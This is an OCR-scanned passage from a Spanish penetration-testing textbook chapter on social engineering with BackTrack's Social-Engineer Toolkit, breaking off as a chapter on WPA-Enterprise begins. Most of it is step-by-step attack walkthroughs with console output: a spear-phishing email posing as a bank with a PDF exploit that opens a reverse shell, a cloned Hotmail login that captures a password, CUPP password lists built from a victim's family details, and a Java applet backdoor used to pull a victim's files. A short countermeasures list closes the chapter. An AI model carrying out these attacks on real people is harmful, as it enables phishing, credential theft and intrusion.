construyen las habilidades basicas de un buen ingeniero social, toda la ingenieria
social descansa en una relacion de confianza. Si no puedes construir una intensa
relacion con tu victima, no es probable que logres el éxito.

9.2 EL ABECE DE LA INGENIERIA SOCIAL

Los procesos que un ingeniero social pone en practica para obtener la
informacidn necesaria por parte de la victima son muy variables, sin embargo, todos
ellos presentan unos pasos comunes:
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1. Identificacion de la victima. En este primer paso resulta esencial la
psicologia de la victima. De ser necesario, el ingeniero social se convertira
incluso en una persona totalmente distinta a fin de agradar y obtener la
informacion que desea.

2. Reconocimiento. Consiste en obtener informacion de la victima, lo que
puede realizarse mediante sitios web, bases de datos, grupos de noticias,
socios de negocios o telefonicamente.

3. Creacion del escenario. Una vez estudiado cuidadosamente el objetivo,
se procede a crear un escenario creible en el cual participaran la victima
y el ingeniero social. La parte mas importante de un ataque es esta,
que dara pie al ataque en si. Este escenario apela a todos los principios
antes expuestos, que seran cuidadosamente elaborados para engaiiar a la
victima.

4. Ejecucion del ataque. Esta es la parte en la que el ingeniero social
lleva a cabo, con calma y confianza, la ofensiva planeada para obtener la
informacion que buscaba. Para ello debera conocer de antemano toda la
informacion necesaria para llevarlo a cabo sin dejar rastro.

5. Salida. Finalmente, se debera salir del sistema borrando todas las huellas,
de modo que no queden evidencias de que alguien estuvo alli.

BackTrack dispone de un amplio conjunto de herramientas para efectuar
ataques extremadamente avanzados por ingenieria social, y que por entidad propia,
merecen un capitulo aparte. SET (Social-Engineering Toolkit) es un conjunto de
herramientas creadas por David Kennedy, Joey Furr y Thomas Werth que resulta
indispensable para todo el que se dedique a realizar pruebas de intrusion.

En este capitulo solo estudiaremos las nociones necesarias para aprender a
ejecutar los ataques principales, puesto que SET, por si mismo, daria para escribir
un libro. Si quiere mas informacion, puede acudir a la excelente documentacion que
ha elaborado el mismo equipo y que puede encontrar en http://www.social-engineer.
org/framework.
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Algunos de los ataques mas eficientes y utiles que efectua SET, entre otros,
son:

V' Preparacion de email con ficheros adjuntos maliciosos.
V' Ataques mediante applets Java.

¥ Explotacion de vulnerabilidades en los navegadores web.
¥ Recuperacion de credenciales web.

V' Creacion de medios extraibles infecciosos (USB/CD).

SET viene instalado en BackTrack y puede ejecutarse desde el menu
Backtrack > Exploitation Tools > Social Engineering Tools > Social Engineering
Toolkit o a través de la consola mediante los comandos:

# cd /pentest/exploits/set/
$ ./set

Antes de ejecutarlo, no obstante, es recomendable que actualice el conjunto
de herramientas de SET y Metasploit Framework a sus versiones mas recientes,
que en el momento de escribir esta obra es la v4.2.1, para asi aprovechar todas sus
nuevas capacidades.

SET puede actualizarse desde el propio programa, a través de la opcion
mostrada en su ment inicial Update the Social-Engineer Toolkit:

Select from the menu:

1) Social-Engineering Attacks

2) Fast-Track Penetration Testing

3) Third Party Mecdules

4) Update the Metasploit

5) Update the Social-Engineer Toolkit

6) Update SET configuration

7) Help, Credits, and About

99) Exit the Social-Engineer Toolkit
set> 5

[-] Updating the Social-Engineer Toolkit, be patient...
Restored ‘src/html/index.html’
D update set
U config/set config
A src/exe
A src/exe/legit.binary
A src/multi attack
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A src/multi attack/multiattack.py
A templates/ebook.template
U templates/README
Updated to revision 4.2.1.
[*] The updating has finished, returning to main menu..

Tras actualizar SET, deberia reiniciar el programa desde el propio menu para
asegurarse de que se han guardado todos los cambios.

Otro modo de actualizarlo es desde el terminal. Entre en el directorio del
programa (/pentest/exploits/set/) y ejecute el siguiente comando (Figura 9.1):

# ./set-update

root@bt: /pentest/exploits/set

Figura 9.1. Actualizacion de SET desde un terminal

Ahora vamos a centrarnos en la psicologia humana desde diferentes
perspectivas para mostrar como funcionan estos ataques por ingenieria social. En
el primer ejemplo, ilustraremos como llevar a cabo un ataque en el que el usuario
recibird un correo electronico con un archivo PDF adjunto. Cuando lo abra, se
comprometera toda la seguridad del sistema. En el siguiente, mostraremos como
tener acceso a las credenciales de acceso del usuario en un servicio web dado.

En cuanto a Metasploit Framework, lo mas sencillo es actualizarlo desde
un terminal en BackTrack. Una vez conectado a Internet, escriba en una consola el
siguiente comando:

# msfupdate
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Espere a que el proceso se complete, pues podria llegar a ser bastante lento
en funcion del ancho de banda de su conexion a Internet (Figura 9.2).

Figura 9.2. Actualizacion de Metasploit Framework

9.3.1 Atagques phishing

Para este ataque, lo primero sera crear un correo electronico que sirva de
plantilla para usarlo luego con un adjunto en PDF. El procedimiento es muy sencillo.
Primero se elige el exploit adecuado, después el método para comprometer la
integridad de la victima y, a continuacion, se envia por email. En este punto, también
podriamos falsificar la informacion relativa al remitente del correo y a su IP, lo que
daria mas credibilidad al mensaje, seleccionando la aplicacion sendmail disponible
en BackTrack.

Una vez que arranque SET, elija la opcion 1 (Social-Engineering Attacks)
para ver los siguientes vectores de ataque:

1) Spear-pPhishing Attack Vectors
2) Website Attack Vectors

3) Infectious Media Generator

4) Create a Payload and Listener
5) Mass Mailer Attack

6) Arduino-Based Attack Vector

7) SMS Spoofing Attack Vector

8) Wireless Access Point Attack Vector
9) QRCode Generator Attack Vector
10) Powershell Attack Vectors
11) Third Party Modules

99) Return back to the main menu.

set> 1
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Tras seleccionar el ataque phishing, proceda a generar la plantilla para el
correo electronico con la opcion Create a Social-Engineering Template:

1) Perform a Mass Email Attack

2) Create a FileFormat Payload

3) Create a Social-Engineering Template
98) Return to Main Menu

set:phishing> 3

[****] Custom Template Generator [****]

set> Enter the name of the author: Administracidn Bankia

set> Enter the subject of the email: Nuevas comisiones

set> Enter the body of the message, hit return for a new
line. Control+C when finished: Estimado cliente,

Next line of the body: Adjunto le enviamos el nuevo documento
con las comisiones que entraraén en vigor el préoximo mes.

Next line of the body: Atentamente,

Next line of the body: Javier Fernandez de Ledesma

Next line of the body: "C

Cuando finalice, pulse la combinacion de teclas Ctrl + C para regresar al
menu anterior y completar el ataque.

1) Perform a Mass Email Attack

2) Create a FileFormat Payload

3) Create a Social-Engineering Template
99) Return to Main Menu

set:phishing> 1

Ahora debe elegir el exploit que va a ejecutarse cuando la victima abra el
archivo PDF que vamos a generar:

¥k khkhkAkhk kit i PAYLOADS Rk hkhkkkkRk

1) SET Custom Written DLL Hijacking Attack Vector (RAR, ZIP)
2) SET Custom Written Document UNC LM SMB Capture Attack
3) Microsoft Windows CreateSizedDIBSECTION Stack Buffer
Overflow

4) Microsoft Word RTF pFragments Stack Buffer Overflow
(MS10-087)

5) Adobe Flash Player “Button” Remote Code Execution
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6) Adocbe CoolType SING Table “uniqueName” Overflow
7) Adobe Flash Player “newfunction” Invalid Pointer Use
8) Adobe Collab.collectEmailInfo Buffer Overflow
9) Adobe Collab.getIcon Buffer Overflow
10) Adobe JBRIGZDecode Memory Corruption Exploit
11) Adocbe PDF Embedded EXE Social Engineering
12) Adobe util.printf() Buffer Overflow
13) Custom EXE to VBA (sent via RAR) (RAR required)
14) Adobe U3D CLODProgressiveMeshDeclaration Array Overrun
15) Adobe PDF Embedded EXE Social Engineering (NOJS)
16) Foxit PDF Reader v4.1.1 Title Stack Buffer Overflow
17) Apple QuickTime PICT PnSize Buffer Overflow
18) Nuance PDF Reader v6.0 Launch Stack Buffer Overflow
19) Adobe Reader u3D Memory Corruption Vulnerability
20) MSCOMCTL ActiveX Buffer Overflow (msl2-027)

set:payloads> 6

1) Windows Reverse TCP Shell - Spawn a command shell on
victim and send back to attacker.

2) Windows Meterpreter Reverse TCP - Spawn a meterpre ter
shell on victim and send back to attacker.

3) Windows Reverse VNC DLL Spawn a VNC server on victim and
send back to attacker.

4) Windows Reverse TCP Shell (x64) Windows X64 Command
Shell, Reverse TCP Inline

5) Windows Meterpreter Reverse TCP (X64) Connect back to
the attacker (Windows x64), Meterpreter

6) Windows Shell Bind TCP (X64) Execute payload and create
an accepting port on remote system.

7) Windows Meterpreter Reverse HTTPS Tunnel communi cation
over HTTP using SSL and use Meterpreter

set:payloads> 1

Al haber elegido la opcion de abrir un intérprete de comandos, SET nos
solicitara la IP de nuestro servidor (192.168.1.102) y un puerto de escucha:

set> IP address for the payload listener: 192.168.1.102

set:payloads> Port to connect back on [443]:5555

[-] Generating fileformat exploit...
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[*] Paylcad creation cocmplete.
[*] All payloads get sent to the /pentest/expleits/
set/src/program junk/template.pdf directory

Ahora renombraremos el fichero para darle un nombre adecuado al contenido
del correo:

Do you want to rename the file?
1. Keep the filename, I don’t care.
2. Rename the file, I want to be cool.

set:phishing> 2

set:phishing> New filename:Comisiones2013.pdf

[*] Filename changed, moving on...

Y a continuacion, procedemos a lanzar el ataque E-Mail Attack:

What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer

99. Return to main menu.

set:phishing> 1

1. Pre-Defined Template
2. One-Time Use Email Template

set:phishing> 1

En este punto, seleccione la plantilla de correo electronico que cre¢ hace un
instante (Nuevas comisiones) y la direccion de correo de la victima a la que enviar
el archivo:

[-] Available templates:

1: Baby Pics

2: WOAAAA!!!1111V]Il This is crazy...
3: How long has it been?

4: New Update

5: Have you seen this?

6: Computer Issue

7: Order Confirmation
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8: Nuevas comisiones

9: Strange internet usage from your computer
10: Dan Brown’s Angels & Demons

11: Status Report

set:phishing> 8

set:phishing> Send email to:susi.alcalalgmail.com

1. Use a GMAIL Account for your email attack.
2. Use your own server or open relay

set:phishing> 1

set:phishing> Your GMAIL email address:david set@gmail.com
Email password:

set:phishing> Flag this message/s as high priority?
[yes|no] :yes

[*] SET has finished delivering the emails

set:phishing> Setup a listener [yes|no]:yes

[_] ** %
[-] * WARNING: Database support has been disabled

[_] * % *

=[ metasploit v4.5.0-dev [core:4.5 api:1.0]
+ == -==[ 974 exploits - 518 auxiliary - 159 post
+ -- --=[ 262 payloads - 28 encoders - 8§ nops
=[ svn rle007 updated 26 days ago (2012.10.24)
[*] Processing

PAYLOAD => windows/shell reverse tcp

Resource (src/program junk/meta config)> set LHOST
192.168.1.102

LHOST => 192.168.1.102

resource (src/program junk/meta config)> set LPORT 5555
LPORT => 5555

resource (src/program junk/meta config)> set ENCODING shika-
ta ga nai

ENCODING => shikata ga nai

Resource src/program junk/meta config) > set ExitOnSession
false

ExitOnSession => false
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resource (src/program junk/meta config) > exploit -j
[*] Exploit running as background job.

msf exploit(handler) >

[*] Started reverse handler on 192.168.1.102:5555
[*] Starting the payload handler...

Una vez aqui, es hora de esperar a que la victima abra el fichero adjunto en
formato PDF (Figura 9.3).

Nueva: comisiones & x

F‘ David Arboiedss (cmee=@hotmaicom) [ 1213
]
-

Fax Dunid dctoledar v

i 1080 adiurto (102 48) Curect Vi e -

Cussargar som o5

Cevvimade ciienna,

Adzunts le ol nuave cen law que on viges ol prinims mer.

Atanzamenta,

Javier Ternindes do Lesessa

Figura 9.3. Correo electronico con el exploit en PDF

En ese momento, se abrird una consola en la maquina BackTrack con acceso
al ordenador atacado:

[*] Command shell session 1 opened (192.168.1.102:5555 ->
192.168.0.2:3958) at Mon Nov 19 11:09:21 +0000 2012

Si ha llegado hasta aqui es que el ataque ha tenido éxito, aunque es probable
que se haya encontrado con problemas. No se preocupe, es habitual que deban
probarse vectores y procesos diferentes hasta encontrar uno que funcione con una
victima dada.

ADVERTENCIA DE SEGURIDAD
Es posible que su antivirus detecte cédigo malicioso en el fichero PDF. Si
es asi, desactivelo para reproducir el ataque.




220 BACKTRACK 5. HACKING DE REDES INALAMBRICAS © RA-MA

Ahora podemos abrir una consola para ejecutar comandos Windows con los
que recorrer la maquina de la victima.

msf exploit(handler) > sessions

Active sessions

1 shell 192.168.1.102:5535 -> 192.168.0.2:3958

msf exploit(handler) > sessions -i 1

[*] Starting interaction with 1...
Microsoft Windows [Version 6.1.7601]

(C) Copyright 2009 Microsoft Corporation.
D:\>

D:\>ipconfig
Configuracién IP de Windows

Adaptador de LAN inaldmbrica Conexidén de red inaldmbrica:
Sufijo DNS especifico para la conexidn.

Direccion IPv4. . . . . . . . . . : 192.168.0.2
Mascara de subred . . . . . . . . : 255.255.255.0
Puerta de enlace predeterminada . : 192.168.0.1

Hace poco, Google cambio las politicas de seguridad en el envio de correos
a través de sus servidores, por lo que es posible que el envio falle al detectar codigo
malicioso en el adjunto PDF. En ese caso, puede probar a seleccionar la opcion Use
your own server or open relay en vez de usar su cuenta de Gmail. Vea el ejemplo
siguiente en el que empleamos los servidores de Hotmail:

set:phishing> Send email to:susi.alcala@gmail.com

1. Use a GMAIL Account for your email attack.
2. Use your own serv<er or open relay

set:phishing> 2
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Ahora proporcione al programa el usuario, la contrasefia y el servidor SMTP
que va a utilizar para enviar el correo:

set:phishing> From address (ex: mooQexample.com) : dab@ hotmail.com
set:phishing> Username for open-relay [blank]:dabfhotmail.com
Password for open-relay [blank]:

set:phishing> SMTP email server address (ex. smtp.youremail
serveryouown.com) : smtp.live.com

set:phishing> Port number for the SMTP server [25]:

set:phishing> Flag this message/s as high priority? [yes|no]:no

[*] SET has finished delivering the emails

set:phishing> Setup a listener [yes|no]:yes

Tras ver como lanzar un ataque de phishing empleando el correo electronico,
vamos a tratar ahora de recuperar las credenciales con las que un usuario se autentica
en un servicio web cualquiera.

9.3.2 Recuperacion de credenciales

En este ataque enviara un correo electronico en el que figura un enlace que
redirigira a la victima, y de forma totalmente transparente, a un clon de un servicio
de correo electronico web, como Hotmail, Gmail o Yahoo. Tan pronto como la
victima visite el enlace, el navegador de Internet le mostrara la pagina clonada del
servicio webmail donde se debera autenticar con sus credenciales. Cuando lo haga,
la victima serd redirigida inmediatamente al sitio legitimo sin que sepa muy bien qué
ha ocurrido, sin embargo, SET ya habra recuperado y mostrado en la sesion abierta
las credenciales empleadas.

Para realizar este segundo ataque, procederemos primero a modificar el
fichero de configuracion de SET. Una vez que se halle en el directorio /pentest/
exploits/set, ejecute el comando siguiente:

# gedit config/set config
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Busque la opcion WEBATTACK EMAIL y pdéngala en ON, como observa
en las siguientes lineas:

#
## SET TO ON IF YOU WANT TO USE EMAIL IN CONJUNCTION WITH

WEB ATTACK
WEBATTACK EMAIL=0N
#

Tras los cambios, guarde el fichero, ejecute SET de nuevo y elija la opcion
Social-Engineering Attacks > Website Attack Vectors (Figura 9.4)

File Edit View Terminal Help
[ Homepage: https://ww

loin us or
) . i~ The Social-Engineer Toolkit is a product of TrustedSec.
The Social-Engineer Toolkit is a prod
- Visit: https://wew.trustedsec.com
Visit: https://wwm. trustedse
Select from the menu:
Select from the menu:
= 11.5 Phishing Attack Vectors
1) Social-Engineering Attacks . 2) te Attack Vectors
2) Fast-Track Penetration Testing 3) 1 Generator
3) Third Party Modules 4) d and Listener
4) Update the Metasploit Framework 5 ac
5) update the Social-Engineer Toolki 6) Arduino-Based Attack Vector
6) update SET configuration 7) SMS Spoofing tack Vector
7) Help, Credits, and About 8) Wireless Acc Point Attack Vector
: P _a 9) QRCode Generator Attack Vector
99} Exit the Social-Engind®r TooWlkit 18} Powershell Attack Vectors
11) Third Party Modules

99) Return back to the saff menut®

Figura 9.4. Tipos de ataque por ingenieria social

Una vez en el menu Website Attack Vectors, seleccione la opcion 3
(Credential Harvester Attack Method):

1) Java Applet Attack Method

2) Metasploit Browser Exploit Method

3) Credential Harvester Attack Method

4) Tabnabbing Attack Method

5) Man Left in the Middle Attack Method

6) Web Jacking Attack Method

7) Multi-Attack Web Method

8) Victim Web Profiler

8) Create or import a CodeSigning Certificate
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99) Return to Main Menu

set:webattack> 3

Y a continuacion, proceda a clonar el sitio de Hotmail con la opcion Site
Cloner:

1) Web Templates
2) Site Cloner
3) Custom Import
99) Return to Webattack Menu

set:webattack> 2

[-] Credential harvester will allow you to utilize the clo-

ne capabilities within SET
[-] to harvest credentials or parameters from a website as

well as place them into a report
[-] This option is used for what IP the server will POST

to.
[-] If you're using an external IP, use your external IP

for this

Ahora indique a SET cual es la direccion IP de Internet (no la local) de su
maquina:

set:webattack> IP address for the POST back in Harvester/ Ta-
bnabbing: 88.25.12.192

[-] SET supports both HTTP and HTTPS
[-] Example: http://www.thisisafakesite.com

set:webattack> Enter the url to clone: https://login. live.
com/login.srf?wa=wsigninl.O&rpsnv=11&ct=1353418765&rver=6.
1.6206.0&wp=MBI&wreply=http:%2F%2Fmail.live.com%2Fdefault.
aspx&lc=1033&1d=64855&mkt=en-us&cbecxt=mai&snsc=1

[*] Cloning the website: https:// login.live.com /login.
srf?wa=wsigninl .0&rpsnv=11&ct=1353418765&xrver=6.1.620
6.0&wp=MBI&wreply=http:%2F%2Fmail.live.com%2Fdefault.
aspx&lc=10335id=64855amkt=en-us&chcxt=mai&snsc=1
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[*] This could take a little bit...
What do you want to do:

1. E-Mail Attack Single Email Address
2. E-Mail Attack Mass Mailer

89. Return to main menu.

set:mailer>1l

set:phishing> Send email to:miri@hotmail.com

1. Use a gmail Account for your email attack.
2. Use your own server or open relay

set:phishing> 2

set:phishing> From address (ex: moo@example.com) :

microsoft@hotmail.com.
set:phishing> Username for open-relay [blank]:miri@fhotmail.com
Password for open-relay [blank]:

set:phishing> SMTP email server address (ex. smtp. Youremail

serveryouown.com) : smtp.live.com

set:phishing> Port number for the SMTP server [25]:

set:phishing> Flag this message/s as high priority? [yes|no]:yes

set:phishing> Email subject: Nuevos Servicios

set:phishing> Send the message as html or plain? ‘h’ or ‘p’
[pl:h

set:phishing> Enter the body of the message, hit return for a
new line. Control+c when finished: Estimado usuario.

Next line of the body: Adjunto tiene un enlace para ver los
proximos servicios gue prestaremos.
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Cuando acabe, pulse Ctrl + C para que SET envie el mensaje. Dese cuenta
de que es esencial que el enlace apunte a su servidor (http.//88.25.12.192).

[*] SET has finished sending the emails

Press <return> to continue
[*] Social-Engineer Toolkit Credential Harvester Attack
[*] Credential Harvester is running on port 80
[*] Information will be displayed to you as it arrives be-
low:

Ahora debe esperar hasta que la victima visite el /ink e introduzca sus
credenciales. En ese momento nos apareceran en la sesion abierta por SET:

192.168.33.34 - - [20/Nov/2012 15:53:01] “GET / HTTP/1.1”
200 -

[*] WE GOT A HIT! Printing the output:

PARAM: continue=http://mail.google.com/mail/?hl%3Des
PARAM: scc=1

PARAM: ltmpl=default

PARAM: ltmplcache=2

PARAM: hl=es

PARAM: service=mail

PARAM: rm=false

PARAM: dsh=-1088303874517308507

PARAM: ltmpl=default

PARAM: hl=es

PARAM: GALX=Yrké67lhrcuc

PARAM: pstMsg=l

PARAM: dnConn=

PARAM: checkedDomains=youtube

PARAM: secTok=

POSSIBLE USERNAME FIELD FOUND: Email=miri@gmail.com
POSSIBLE PASSWORD FIELD FOUND: Passwd=infl231@D
PARAM: signIn=Iniciar+sesidn

PARAM: rmShown=1

[*] WHEN YOU'’RE FINISHED, HIT CONTROL-C TQ GENERATE A
REPORT.

Como ve, hemos conseguido capturar el usuario y la contrasefia del servicio
de correo electronico de la victima. Si pulsamos Ctrl + C se generara un informe
HTML o XML para poder analizarlo en cualquier momento.
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ADVERTENCIA DE SEGURIDAD

Este atague es realmente poderoso, pues puede clonarse cualquier sitio
http o https, por lo que la Unica protecciéon es no seguir los enlaces que

reciba por correo electronico.

9.3.3 Generador de contrasenas comunes de usuario

La forma més habitual de autenticacion consiste en combinar un nombre de
usuario y una contrasefia. St ambas variables coinciden con las que estan almacenadas
localmente en la maquina, el usuario serd autenticado en el servicio. La fortaleza de
una contrasefia es el grado de dificultad que implica adivinarla o romperla por fuerza
bruta o ataque por diccionario.

Muchas contrasefias contienen datos del propio usuario: apodo, direccidn,
fecha de nacimiento, nombre de la mascota, etc. Este es el escenario en el que se gesto
CUPP (Common User Passwords Profiler). CUPP genera una lista de contrasefias
comunes conociendo el nombre, apodo, cumpleafios, informacion familiar, intereses,
gustos, etc. y se emplea ampliamente en pruebas de intrusion legales e informatica
forense.

Para lanzar CUPP vaya a BackTrack > Privilege Escalation > Password
Attacks > Offline Attacks > Cupp o desde la consola con

# cd /pentest/passwords/cupp/
# ./cupp.py

Una vez ejecutado vera un menu con las diferentes opciones que puede
utilizar con esta aplicacion. Para ello es importante contar con informacion sobre la
victima y su familia, pues muchas contrasefias se generan con estos datos: nombres
de hijos, fechas de cumpleanos, el nombre de la mascota, etc.

# ./cupp.py -i

[+] Insert the information about the victim to make a dictio-
nary

[+] If you don’t know all the info, just hit enter when as-
ked!
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Name: Laura

Surname: Ledesma

Nickname: Laurioskir

Birthdate (DDMMYYYY): 30071990

Wife’s (husband’s) name: David

Wife’s (husband’s) nickname: House
Wife’s (husband’s) birthdate (DDMMYYYY): 18021980
Child’s name: Rubén

Child’s nickname: Ruby

Child’s birthdate (DDMMYYYY): 19042010
Pet’s name: Athor

Company name: MiriBook

Do you want to add some key words about the victim? ¥/[N]: ¥

vV V vV VvV VvV V V V ¥V V V V V V

Please enter the words, separated by comma. [i.e. hacker,
juice, black]: movil, tablet, fiesta, amor

> Do you want to add special chars at the end of words? ¥Y/[N]: N

> Do you want to add some random numbers at the end of words?
Y/[N]Y

> Leet mode? (i.e. leet = 1337) Y/[N]: Y

[+] Now making a dictionary...

[+] Sorting list and removing duplicates...

[+] Saving dictionary to laura.txt, counting 21114 words.
[+] Now load your pistolero with laura.txt and shoot! Good
luck!

Tras suministrar al programa datos de la victima y su entorno familiar, CUPP
nos ha generado una lista de 21.114 posibles contraseias que pueden emplearse con
cualquiera de los programas que hemos usado anteriormente en ataques on-line u

off-line.

Para finalizar el capitulo, vamos a emplear una técnica con la que lograr el
control de la maquina de la victima empleando un applet Java que abrira una puerta
trasera burlando cortafuegos y antivirus.
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9.3.4 Puertas traseras con applets Java

Los ataques estudiados en los dos epigrafes anteriores pueden llegar a
ser lo suficientemente importantes como para abrir archivos adjuntos en correos
electronicos o visitar enlaces desconocidos en los emails. No obstante, atin podemos
realizar ataques mads sutiles pero igual de devastadores.

Abra SET y siga con cuidado los siguientes pasos:

1. Seleccione en el menh la opcion 1 (Social-Engineering Attacks) y a
continuacion la opcion 2 (Website Attack Vectors) del nuevo menti. Una
vez aqui, elija la primera opcion (Java Applet Attack Method). Con ello
conseguira crear una aplicacion Java que sera la que abra la puerta trasera
en la maquina de la victima (Figura 9.5).

* root@bt: [pentest/exploits/set
File Edit View Terminal Help

The Social-Engineer Toolkit is a product of TrustedSec.

Visit: https://www.trustedsec.gom

Figura 9.5. Puertas traseras con applets Java

2. En el nuevo ment, seleccione la opcion 1 (Web Templates) para permitir
a SET que importe una lista de aplicaciones web predefinidas que
pueda utilizar en el ataque. A continuacion, le preguntaré si estd usando
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NAT/redireccionamiento de puertos y cudl es la IP de la conexion inversa,
que sera la de la maquina atacante (Figura 9.6).

* root@bt: /pentest/exploits/set

minal Hel

Figura 9.6. Direccion IP de la maquina atacante

3. Enelsiguiente menu elija el método 1 (Java Required) y, a continuacion,
Windows Reverse-TCP Meterpreter.

4. En este momento estamos casi acabando la preparacion del ataque; queda
sortear la accion defensiva del posible antivirus presente en la victima, asi
que seleccione en el nuevo ment la opcion 16, Backdoored Executable
(Figura 9.7), que es el que mejor suele comportarse. Como puerto, puede
dejar el que nos muestra por defecto (443).

* root@bt: /pentest/exploits/set

Figura 9.7. Creacién del codigo de inyeccidn

5. La aplicacion tiene ya todos los datos necesarios para comenzar el
ataque. Ahora BackTrack crea el codigo de inyeccion que actuara de
puerta trasera, lo codifica y ejecuta; crea el sitio web que va a presentar a
la victima y esperara su conexion.
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6. Enelinstante en que la victima se conecte a nuestra maquina, lo que puede
hacer con un envenenamiento DNS o mediante un enlace que apunte a la
direccion IP de nuestra maquina atacante, observara la siguiente situacion
(Figura 9.8):

r

| iDesea ejecutar esta aplicacién?

Java Required!

Home Seq

Welcome to the websil
Microsoft signed Java

& Mostyr cocones
I e )
Words from our CEO "Java iieqﬁ]m o view content.”

Instructions to view the website:

1. A pop-up box will prompt, please hit "Yes". This may take a
RSN ~

Figura 9.8. Applet de Java solicitando permiso para mostrar la pagina

Si la victima acepta el applet, el ataque habra tenido éxito y tendremos
abierta una puerta trasera en su ordenador, con la ventaja de que esta
pasara desapercibida para la mayoria de antivirus.

7. Para ver las sesiones remotas activas abiertas en el ordenador de la

victima, teclee en la linea de comandos sessions -1. Observe como en
la figura se observan dos sesiones (Figura 9.9).

root@bt: /pentest/exploits/set

Figura 9.9. Sesiones remotas abiertas en la victima
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8. Ahora escriba sessions -i y el nimero de sesidn para contactar
remotamente con ella. En la figura 9.10 hemos conectado con la sesion
que tiene por 1dentificador el niimero 1.

* root@bt: /pentest/exploits/set

Figura 9.10. Forma de abrir una sesion en la victima

9. Una vez conectados, podemos recorrer el ordenador de la victima
utilizando los propios comandos de Linux. Observe en la figura siguiente
como hemos descargado en nuestra maquina el fichero claves.txt, que se
encontraba en el escritorio de la victima.

“ root@bt: /pentest/exploits/set

Figura 9.11. Descarga de un fichero del ordenador de la victima

Una vez en su maquina, podra estudiarlo como si fuera suyo (Figura 9.12).

« Search for "claves.txt” - File Browser

P ] - .
ol Search results | Reiad |
———

i root
i Desktop Location v M C]File System v -
'

B Trash =
Devices v

& File System

& Reservado par claves.txt

L1 58 GB Filesyst.,

o DATOS
Network -

i Entire network

1item — 4

Figura 9.12. Fichero descargado
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10.También puede abrir desde meterpreter un intérprete de comandos de
Windows con el comando shell (Figura 9.13).

* root@bt: /pentest/exploits/set

Helr

Figura 9.13. Intérprete de comandos de Windows en BackTrack

Desde ¢l ahora puede moverse por el disco de la victima con los propios
comandos del sistema operativo Windows, como se observa en la figura
9.14, en la que mostramos los archivos y subdirectorios del escritorio del
ordenador de la victima.

* root@bt: /pentest/exploits/set

|7

Figura 9.14. Archivos y carpetas en el escritorio de la victima
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Como se podra imaginar, las posibilidades de este conjunto de ataques son
ilimitadas. SET incluye cientos de herramientas con las que planificar intrusiones
perfectas desde el punto de vista técnico. Podemos clonar sitios enteros a los que
redirigir a la victima con un envenenamiento DNS y robar las credenciales, seremos
capaces de recorrer el disco de su ordenador y descargar cualquier archivo e incluso
volcar el contenido de los archivos SAM de Windows o shadow en sistemas Linux
con los que recuperar las credenciales de acceso al sistema. Y todo ello conseguido
por un unico error del usuario, aceptar un enlace que le ofreciamos. Una vez abierto,
ni un antivirus ni las ultimas actualizaciones del sistema operativo han servido para
protegerle, como hemos visto en el ejercicio previo; de ahi la importancia de no abrir
enlaces en correos o paginas sospechosos.

9.4 CONTRAMEDIDAS

Defenderse de cualquier ataque efectuado por ingenieria social una vez que
este se ha lanzado con éxito no es sencillo. Sin embargo, si pueden tomarse algunas
precauciones bdsicas que nos protegerdan de caer en los engafios que los atacantes
emplean. Entre esas medidas basicas, podemos destacar las siguientes:

1. Nunca responda a solicitudes de informacion personal a través de correo
electronico.

2. Instale y actualice su software antivirus y cortafuegos.
3. Mantenga su sistema operativo actualizado.

4. Maneje un gestor de correo electronico con funciones antispam que borre
directamente del servidor el correo no deseado.

5. Tras recibir un mail con un fichero adjunto no lo abra hasta analizarlo con
un antivirus.

6. Sepa que es mucho més seguro escribir directamente la URL de un
servicio web que acceder al mismo a través de un enlace.

7. Tenga precaucion con aquellas entidades con las que intercambie
informacion sensible y no dispongan de los certificados de autenticacion
adecuados.
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8. Auvise a su banco o entidad lo antes posible una vez que haya sido victima
de un ataque por phishing.

9. Use el sentido comtn, que aunque es el menos comin de los sentidos, es
la mejor herramienta de proteccidn frente a cualquier tipo de ataque de
seguridad.

9.5 AUTOEVALUACION 9

W ;Cudles son los pasos comunes que utiliza un ingeniero social para
obtener informacion de la victima?

¥ (Coémo puede actualizarse SET?

a) Desde el terminal con el comando ./set-config.

b) Unicamente desde el mena de SET.

¢) Desde la opcion Update the Social-Engineer Toolkit, de su menu
inicial.

d) Desde el menu de SET o desde un terminal con ./set-update.

¥ (Con qué comando de los siguientes puede ver qué sesiones remotas
tiene abiertas en la maquina de una victima?

a) Exploit(handler).
b) Sessions.

¢) Msf sessions -1.
d) Sessions -1.

¥ Coémo se protegeria de los ataques de ingenieria social?

a) Instalando un buen antivirus.

b) Con un cortafuegos.

¢) No abriendo enlaces de sitios desconocidos.
d) Con todas ellas.



ATAQUES CONTRA WPA-ENTERPRISE

Hasta hace relativamente poco tiempo se habia considerado que el protocolo
WPA-Enterprise era completamente seguro. Todavia hoy, la gran mayoria de
administradores de red considera que es la panacea de la seguridad inaldmbrica, por
lo que acostumbran a realizar instalaciones por defecto en los servidores RADIUS, lo
que facilita los ataques frente a esta infraestructura y la intrusion en la red inaldambrica.

El objetivo principal de cualquier servidor RADIUS es proporcionar
mecanismos fuertes de autenticacién para mejorar los tiempos de respuesta y
la latencia de la red en entornos empresariales con una cantidad considerable de
clientes. En el caso de las redes inalambricas que emplean WPA/WPA2 estas tareas
se suelen llevar a cabo utilizando claves precompartidas PSK, sin embargo, este
mecanismo puede consumir més recursos de lo que es deseable en un entorno
con multiples clientes. Este es el motivo por el que diferenciamos los protocolos
WPA/WPA2 para uso doméstico, con pocos usuarios, de los de uso empresarial, con
un gran namero de ellos.

10.1 INSTALACION Y CONFIGURACION DE FREERADIUS

................................................................................................................................................................................

Hasta este capitulo se ha venido hablando de WPA/WPA2-PSK como
protocolos para la generacion de claves precompartidas entre el punto de acceso y el
cliente inalambrico. Este mecanismo se utiliza frecuentemente en las redes domésticas,
pero resulta poco préctico en entornos con un numero de clientes considerable,
como en el ambito empresarial. En estos casos, lo mas usual es la identificacion y
autenticacion de usuarios con un servidor RADIUS (Remote Authentication Dial-In
User Server), que se encarga de almacenar las cuentas de usuario. Cuando un cliente
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intenta autenticarse en una red, las credenciales de conexion se redirigen al servidor
RADIUS, quien comprueba que la informacion es correcta utilizando diferentes
esquemas de autenticacion, como veremos en un momento. Si la informacion es
correcta, el servidor autorizara el acceso.

Existen algunas implementaciones de servidores RADIUS disponibles en
el mercado, libres y propietarias. Nosotros vamos a emplear para este capitulo la
implementacion de FreeRADIUS (http.//freeradius.org), que es libre y se encuentra
ampliamente distribuido en el mercado empresarial. Sin embargo, antes de comenzar
a hablar sobre este servidor, es necesario comprender cudles son los mecanismos de
